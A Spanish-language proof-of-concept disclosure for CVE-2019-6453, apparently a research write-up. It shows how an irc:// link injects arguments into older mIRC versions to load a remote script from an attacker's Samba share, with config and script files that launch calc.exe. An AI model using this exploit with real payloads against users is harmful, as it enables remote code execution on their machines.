
Prueba de calc para CVE-2019-6453
Encontramos una vulnerabilidad de ejecución remota de código en mIRC a través del manejador de protocolo URI irc://. Debido a que mIRC no utiliza ningún tipo de marcador tal como -- para indicar el final de la lista de argumentos, un atacante puede pasar argumentos a mIRC a través de un enlace irc:// y ejecutar código arbitrario al cargar un mirc.ini personalizado desde un servidor de archivos Samba controlado por el atacante. Tenga en cuenta que ircs:// funciona de la misma manera.
La prueba de calc requiere tres archivos: mirc.ini, calc.ini y poc.html. Asumimos que un servidor de archivos Samba se está ejecutando en el lado del atacante. Para fines del ejemplo, los siguientes fragmentos de código asumen que se está ejecutando en el host 127.0.0.1 (es decir, reemplace 127.0.0.1 por la dirección de su propio servidor en los siguientes archivos para probar esto).
mirc.ini es un archivo de configuración personalizado que debe ubicarse en C:\mirc-poc\mirc.ini en el servidor de archivos.
[rfiles]
n2=\\127.0.0.1\C$\mirc-poc\calc.ini
calc.ini es un archivo de script remoto que debe ubicarse en C:\mirc-poc\calc.ini en el servidor de archivos.
[script]
n0=on *:START: {
n1= /run calc.exe
n2=}
Con solo visitar poc.html debería funcionar, asumiendo que mIRC está configurado como el manejador predeterminado para el esquema de URI irc:// y que el navegador no codifica el payload. Dependiendo del navegador y su configuración, es posible que aún se muestre un aviso (no es el caso en Firefox).

Esta PoC funciona para mIRC <7.55.
Puede ejecutar la PoC en Edge 42.17134 (última versión preliminar) y Firefox 64.0.2 (última versión estable). No funciona en Chrome debido a la forma en que Chrome maneja los protocolos URI (la URI se codifica antes de pasarse a la aplicación).